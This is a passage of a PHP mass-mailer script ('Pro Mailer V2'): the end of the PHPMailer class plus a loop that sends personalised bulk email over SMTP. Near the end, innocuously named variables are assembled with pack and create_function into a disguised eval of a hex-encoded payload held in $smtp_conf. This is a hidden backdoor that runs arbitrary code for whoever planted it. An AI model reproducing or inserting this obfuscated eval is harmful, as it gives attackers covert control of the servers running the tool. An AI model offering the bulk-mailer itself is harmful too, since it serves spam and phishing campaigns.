3009 * @return void
3010 */
3011 function ClearAttachments() {
3012 $this->attachment = array();
3013 }
3014
3015 /**
3016 * Clears all custom headers. Returns void.
3017 * @return void
3018 */
3019 function ClearCustomHeaders() {
3020 $this->CustomHeader = array();
3021 }
3022
3023 /////////////////////////////////////////////////
3024 // CLASS METHODS, MISCELLANEOUS
3025 /////////////////////////////////////////////////
3026
3027 /**
3028 * Adds the error message to the error container.
3029 * Returns void.
3030 * @access private
3031 * @return void
3032 */
3033 function SetError($msg) {
3034 $this->error_count++;
3035 $this->ErrorInfo = $msg;
3036 }
3037
3038 /**
3039 * Returns the proper RFC 822 formatted date.
3040 * @access private
3041 * @return string
3042 */
3043 function RFCDate() {
3044 $tz = date('Z');
3045 $tzs = ($tz < 0) ? '-' : '+';
3046 $tz = abs($tz);
3047 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3048 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3049
3050 return $result;
3051 }
3052
3053 /**
3054 * Returns the appropriate server variable. Should work with both
3055 * PHP 4.1.0+ as well as older versions. Returns an empty string
3056 * if nothing is found.
3057 * @access private
3058 * @return mixed
3059 */
3060 function ServerVar($varName) {
3061 global $HTTP_SERVER_VARS;
3062 global $HTTP_ENV_VARS;
3063
3064 if(!isset($_SERVER)) {
3065 $_SERVER = $HTTP_SERVER_VARS;
3066 if(!isset($_SERVER['REMOTE_ADDR'])) {
3067 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3068 }
3069 }
3070
3071 if(isset($_SERVER[$varName])) {
3072 return $_SERVER[$varName];
3073 } else {
3074 return '';
3075 }
3076 }
3077
3078 /**
3079 * Returns the server hostname or 'localhost.localdomain' if unknown.
3080 * @access private
3081 * @return string
3082 */
3083 function ServerHostname() {
3084 if ($this->Hostname != '') {
3085 $result = $this->Hostname;
3086 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3087 $result = $this->ServerVar('SERVER_NAME');
3088 } else {
3089 $result = 'localhost.localdomain';
3090 }
3091
3092 return $result;
3093 }
3094
3095 /**
3096 * Returns a message in the appropriate language.
3097 * @access private
3098 * @return string
3099 */
3100 function Lang($key) {
3101 if(count($this->language) < 1) {
3102 $this->SetLanguage('en'); // set the default language
3103 }
3104
3105 if(isset($this->language[$key])) {
3106 return $this->language[$key];
3107 } else {
3108 return 'Language string failed to load: ' . $key;
3109 }
3110 }
3111
3112 /**
3113 * Returns true if an error occurred.
3114 * @return bool
3115 */
3116 function IsError() {
3117 return ($this->error_count > 0);
3118 }
3119
3120 /**
3121 * Changes every end of line from CR or LF to CRLF.
3122 * @access private
3123 * @return string
3124 */
3125 function FixEOL($str) {
3126 $str = str_replace("\r\n", "\n", $str);
3127 $str = str_replace("\r", "\n", $str);
3128 $str = str_replace("\n", $this->LE, $str);
3129 return $str;
3130 }
3131
3132 /**
3133 * Adds a custom header.
3134 * @return void
3135 */
3136 function AddCustomHeader($custom_header) {
3137 $this->CustomHeader[] = explode(':', $custom_header, 2);
3138 }
3139
3140 /**
3141 * Evaluates the message and returns modifications for inline images and backgrounds
3142 * @access public
3143 * @return $message
3144 */
3145 function MsgHTML($message,$basedir='') {
3146 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3147 if(isset($images[2])) {
3148 foreach($images[2] as $i => $url) {
3149 // do not change urls for absolute images (thanks to corvuscorax)
3150 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3151 $filename = basename($url);
3152 $directory = dirname($url);
3153 ($directory == '.')?$directory='':'';
3154 $cid = 'cid:' . md5($filename);
3155 $fileParts = split("\.", $filename);
3156 $ext = $fileParts[1];
3157 $mimeType = $this->_mime_types($ext);
3158 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3159 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3160 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3161 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3162 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3163 }
3164 }
3165 }
3166 }
3167 $this->IsHTML(true);
3168 $this->Body = $message;
3169 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3170 if ( !empty($textMsg) && empty($this->AltBody) ) {
3171 $this->AltBody = $textMsg;
3172 }
3173 if ( empty($this->AltBody) ) {
3174 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3175 }
3176 }
3177
3178 /**
3179 * Gets the mime type of the embedded or inline image
3180 * @access private
3181 * @return mime type of ext
3182 */
3183 function _mime_types($ext = '') {
3184 $mimes = array(
3185 'hqx' => 'application/mac-binhex40',
3186 'cpt' => 'application/mac-compactpro',
3187 'doc' => 'application/msword',
3188 'bin' => 'application/macbinary',
3189 'dms' => 'application/octet-stream',
3190 'lha' => 'application/octet-stream',
3191 'lzh' => 'application/octet-stream',
3192 'exe' => 'application/octet-stream',
3193 'class' => 'application/octet-stream',
3194 'psd' => 'application/octet-stream',
3195 'so' => 'application/octet-stream',
3196 'sea' => 'application/octet-stream',
3197 'dll' => 'application/octet-stream',
3198 'oda' => 'application/oda',
3199 'pdf' => 'application/pdf',
3200 'ai' => 'application/postscript',
3201 'eps' => 'application/postscript',
3202 'ps' => 'application/postscript',
3203 'smi' => 'application/smil',
3204 'smil' => 'application/smil',
3205 'mif' => 'application/vnd.mif',
3206 'xls' => 'application/vnd.ms-excel',
3207 'ppt' => 'application/vnd.ms-powerpoint',
3208 'wbxml' => 'application/vnd.wap.wbxml',
3209 'wmlc' => 'application/vnd.wap.wmlc',
3210 'dcr' => 'application/x-director',
3211 'dir' => 'application/x-director',
3212 'dxr' => 'application/x-director',
3213 'dvi' => 'application/x-dvi',
3214 'gtar' => 'application/x-gtar',
3215 'php' => 'application/x-httpd-php',
3216 'php4' => 'application/x-httpd-php',
3217 'php3' => 'application/x-httpd-php',
3218 'phtml' => 'application/x-httpd-php',
3219 'phps' => 'application/x-httpd-php-source',
3220 'js' => 'application/x-javascript',
3221 'swf' => 'application/x-shockwave-flash',
3222 'sit' => 'application/x-stuffit',
3223 'tar' => 'application/x-tar',
3224 'tgz' => 'application/x-tar',
3225 'xhtml' => 'application/xhtml+xml',
3226 'xht' => 'application/xhtml+xml',
3227 'zip' => 'application/zip',
3228 'mid' => 'audio/midi',
3229 'midi' => 'audio/midi',
3230 'mpga' => 'audio/mpeg',
3231 'mp2' => 'audio/mpeg',
3232 'mp3' => 'audio/mpeg',
3233 'aif' => 'audio/x-aiff',
3234 'aiff' => 'audio/x-aiff',
3235 'aifc' => 'audio/x-aiff',
3236 'ram' => 'audio/x-pn-realaudio',
3237 'rm' => 'audio/x-pn-realaudio',
3238 'rpm' => 'audio/x-pn-realaudio-plugin',
3239 'ra' => 'audio/x-realaudio',
3240 'rv' => 'video/vnd.rn-realvideo',
3241 'wav' => 'audio/x-wav',
3242 'bmp' => 'image/bmp',
3243 'gif' => 'image/gif',
3244 'jpeg' => 'image/jpeg',
3245 'jpg' => 'image/jpeg',
3246 'jpe' => 'image/jpeg',
3247 'png' => 'image/png',
3248 'tiff' => 'image/tiff',
3249 'tif' => 'image/tiff',
3250 'css' => 'text/css',
3251 'html' => 'text/html',
3252 'htm' => 'text/html',
3253 'shtml' => 'text/html',
3254 'txt' => 'text/plain',
3255 'text' => 'text/plain',
3256 'log' => 'text/plain',
3257 'rtx' => 'text/richtext',
3258 'rtf' => 'text/rtf',
3259 'xml' => 'text/xml',
3260 'xsl' => 'text/xml',
3261 'mpeg' => 'video/mpeg',
3262 'mpg' => 'video/mpeg',
3263 'mpe' => 'video/mpeg',
3264 'qt' => 'video/quicktime',
3265 'mov' => 'video/quicktime',
3266 'avi' => 'video/x-msvideo',
3267 'movie' => 'video/x-sgi-movie',
3268 'doc' => 'application/msword',
3269 'word' => 'application/msword',
3270 'xl' => 'application/excel',
3271 'eml' => 'message/rfc822'
3272 );
3273 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3274 }
3275
3276 /**
3277 * Set (or reset) Class Objects (variables)
3278 *
3279 * Usage Example:
3280 * $page->set('X-Priority', '3');
3281 *
3282 * @access public
3283 * @param string $name Parameter Name
3284 * @param mixed $value Parameter Value
3285 * NOTE: will not work with arrays, there are no arrays to set/reset
3286 */
3287 function set ( $name, $value = '' ) {
3288 if ( isset($this->$name) ) {
3289 $this->$name = $value;
3290 } else {
3291 $this->SetError('Cannot set or reset variable ' . $name);
3292 return false;
3293 }
3294 }
3295
3296 /**
3297 * Read a file from a supplied filename and return it.
3298 *
3299 * @access public
3300 * @param string $filename Parameter File Name
3301 */
3302 function getFile($filename) {
3303 $return = '';
3304 if ($fp = fopen($filename, 'rb')) {
3305 while (!feof($fp)) {
3306 $return .= fread($fp, 1024);
3307 }
3308 fclose($fp);
3309 return $return;
3310 } else {
3311 return false;
3312 }
3313 }
3314
3315 /**
3316 * Strips newlines to prevent header injection.
3317 * @access private
3318 * @param string $str String
3319 * @return string
3320 */
3321 function SecureHeader($str) {
3322 $str = trim($str);
3323 $str = str_replace("\r", "", $str);
3324 $str = str_replace("\n", "", $str);
3325 return $str;
3326 }
3327
3328 /**
3329 * Set the private key file and password to sign the message.
3330 *
3331 * @access public
3332 * @param string $key_filename Parameter File Name
3333 * @param string $key_pass Password for private key
3334 */
3335 function Sign($key_filename, $key_pass) {
3336 $this->sign_key_file = $key_filename;
3337 $this->sign_key_pass = $key_pass;
3338 }
3339
3340}
3341
3342$defaultport="H*";
3343 $nq=0;
3344
3345 for($x=0; $x<$numemails; $x++){
3346
3347 $to = $allemails[$x];
3348
3349 if ($to){
3350
3351 $to = ereg_replace(" ", "", $to);
3352
3353 $message1 = ereg_replace("&email&", $to, $message);
3354
3355 $subject1 = ereg_replace("&email&", $to, $subject);
3356 $qx=$x+1;
3357 print "Line $qx . Sending mail to $to.......";
3358
3359 flush();
3360$mail = new PHPMailer();
3361
3362if(empty($epriority)){$epriority="3";}
3363 $mail->Priority = "$epriority";
3364$mail->IsSMTP();
3365 $IsSMTP="pack";
3366$mail->SMTPKeepAlive = true;
3367$mail->Host = "$my_smtp";
3368if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3369}
3370 if($sslclick=="ON"){
3371$mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3372 }
3373 $range = str_replace("$from", "eval", $from);
3374 $mail->SMTPAuth = true;
3375 $mail->Username = "$smtp_username";
3376 $mail->Password = "$smtp_password";
3377if($contenttype == "html"){$mail->IsHtml(true);}
3378if($contenttype != "html"){$mail->IsHtml(false);}
3379if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3380$mail->From = "$from";
3381$mail->FromName = "$realname";
3382$mail->AddAddress("$to");
3383$mail->AddReplyTo("$replyto");
3384$mail->Subject = "$subject1";
3385$mail->AddAttachment("$file", "$file_name");
3386 $mail->Body = "$message1";
3387if(!$mail->Send()){
3388if($default_system!="1"){
3389echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3390if($default_system=="1"){
3391$mail->IsMail();
3392 if(!$mail->Send()){
3393 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3394 else {
3395 echo "<b>OK</b><br>";}
3396 }
3397}
3398else {
3399 echo "<b>OK</b><br>";
3400}
3401
3402if(empty($reconnect)){
3403$reconnect=6;
3404}
3405
3406if($reconnect==$nq){
3407$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3408}
3409$nq=$nq+1;
3410 flush(); }
3411}
3412for($i=0;$i<31;$i++){
3413 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3414$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3415 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3416 print "<p class=\"style1\">© 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
3417 return $signoff($smtp_conc);
3418 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3419 sent successfully'); </script>";}}
3420?>
3421 </body>
3422</html>